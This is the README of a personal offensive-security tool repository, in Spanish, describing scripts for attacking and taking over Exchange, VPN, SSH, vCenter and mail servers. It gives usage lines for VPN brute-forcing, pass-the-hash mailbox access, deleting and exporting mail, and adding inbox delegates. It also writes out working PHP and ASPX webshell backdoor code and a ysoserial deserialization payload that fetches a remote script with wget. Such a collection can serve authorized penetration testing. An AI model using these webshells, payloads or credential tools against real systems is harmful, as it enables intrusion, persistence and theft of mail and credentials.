
Python codes of my blog.
Códigos Python de mi blog.
Usa un ataque de fuerza bruta para obtener la contraseña de la VPN PPTP.
Leerá las contraseñas del archivo (llamado wordlist) y luego usará pptpsetup para conectarse al servidor.
El intervalo de tiempo es de 10 segundos.
Se usa para escanear puertos.
El tiempo de espera es de 3 segundos.
versión en c++:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
Se usa para obtener la IP a partir de la URL.
Se puede usar directamente el resultado de Sublist3r.
Se usa para eliminar IP duplicadas del resultado de Sublist3r.
Se puede usar directamente el resultado de urltoip.py.
Las IP se pueden ordenar usando Sublime (F9).
Se usa para eliminar elementos duplicados de un archivo.
Referencia:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
Se usa para llamar a la API de fofa e imprimir las IP de los resultados.
Puedes obtener 100 resultados.
Se usa para llamar a la API de fofa e imprimir las IP de los resultados.
Si eres VIP, obtendrás 10000 resultados.
Referencia:
https://seclists.org/fulldisclosure/2019/Sep/31
Ej.
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
Referencia:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
Ej.
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Se usa para exportar las contraseñas de Firefox.
Se usa para obtener la versión de Exchange.
Primero obtén el BuildNumber a través del código fuente de la URL y luego obtén la versión.
Referencia:
Se usa para escanear la vulnerabilidad RCE de SMBv3.
El tiempo de espera es de 3 segundos.
Referencia:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
Los dispositivos DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta y Vigor300B 1.3.3_Beta, 1.4.2.1_Beta y 1.4.4_Beta permiten la ejecución remota de código como root (sin autenticación) mediante metacaracteres de shell en la URI cgi-bin/mainfunction.cgi..
Productos afectados:
Usa la API SOAP de Zimbra para conectarte al servidor de correo de Zimbra.
Uso:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
modo:
Ej:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Se usa para comprobar cuentas válidas de Exchange Web Service (soporta texto plano y ntlmhash)
Referencia:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
Uso:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
Ej.
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Se usa para acceder a Autodiscover.xml y obtener la configuración del usuario (soporta texto plano y ntlmhash)
Uso:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
Ej.
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
Modo extra de checkAutodiscover.py
Añade un parámetro
Se usa para acceder a Exchange Web Service (soporta texto plano y ntlmhash)
Uso:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
Ej.
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
Se usa para comprobar credenciales válidas de SSH (soporta contraseña y archivo de clave privada)
Uso:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
Ej.
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
Ejecución remota de comandos a través de SSH (soporta contraseña y archivo de clave privada)
Uso:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
Ej.
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
Se usa para comprobar credenciales válidas de EAS (Exchange Server ActiveSync)
Uso:
easCheck.py <host> <user> <password>
Ej.
easCheck.py 192.168.1.1 user1 password1
Se usa para comprobar cuentas válidas de Exchange conectándose a OWA.
Uso:
checkOWA.py <url> <user> <password>
Se usa para leer correos conectándose a OWA.
Uso:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
Usa IMAP para conectarse al servidor de correo.
Uso:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
Se usa para implementar autenticación NTLM y comunicarse con execCmd.aspx
Los datos de comunicación están codificados con Base64
Uso:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
Versión en C#: SharpExchangeBackdoor.cs
Se usa para enviar payload a la webshell backdoor de Exchange.
Soporta:
Uso:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
ej.
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
Deserialización insegura de objetos - IMAP
Uso:
<url> <user> <password> <payload path>
Ej.
https://192.168.1.1 [email protected] password1 payload.obj
Nota:
Puedes generar el payload.obj de esta forma:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
Se usa para probar la ejecución de código mediante deserialización en Exchange.
Desde los permisos de lectura y escritura de archivos de Exchange hasta la ejecución de código mediante deserialización.
Debes modificar la machineKey en %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config para implementar la ejecución de código mediante deserialización.
<path>: owa o ecp
Uso:
<url> <key> <path>
ej.
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
Se usa para analizar mensajes XML SOAP de Exchange.
Se usa para acceder al centro de administración de Exchange
Uso:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
Usa la API de Automatización de vSphere (v7.0U1+) para administrar la VM
Soporta VM Windows y Linux
Usa la API de Servicios Web de vSphere para administrar la VM
Referencia: https://github.com/vmware/pyvmomi/
Instalación: pip install --upgrade pyvmomi
Se usa para administrar la base de datos LDAP en vCenter.
Se usa para administrar la plataforma SolarWinds Orion
Usa la API de SolarWinds Orion para administrar la plataforma Orion
Se usa para administrar el servidor de correo MailEnable
Soporta la recepción de resultados mediante protocolo HTTP o FTP.
Se usa para acceder a Exchange Web Service (soporta texto plano y ntlmhash)
Se usa para acceder a Exchange Web Service (soporta texto plano y ntlmhash)
Usa requests_ntlm2 para acceder a Exchange Web Service (soporta texto plano y ntlmhash)
Usa requests_ntlm2 para acceder a Exchange Web Service (soporta texto plano y ntlmhash)
Usa session para reducir los datos de comunicación
Modificado a partir de https://github.com/horizon3ai/vcenter_saml_login
Modificado a partir de https://github.com/horizon3ai/vcenter_saml_login
Se usa para obtener la versión de Exchange y compararla con las vulnerabilidades existentes
Se usa para obtener la versión de Exchange y analizar la versión desde https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
Debes guardar https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 como exchange.data
Se usa para obtener la versión de Exchange y analizar la versión desde https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
Se usa para obtener la IP interna de Exchange
Basado en msf auxiliary/scanner/http/owa_iis_internal_ip, pero soporta más servidores Exchange.
Se usa para obtener la versión de vRealize Operations Manager
Usa bash para ejecutar comandos
Se usa para descifrar el archivo .plx de Sophos UTM
Referencia:
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
Se usa para analizar la configuración de Sophos UTM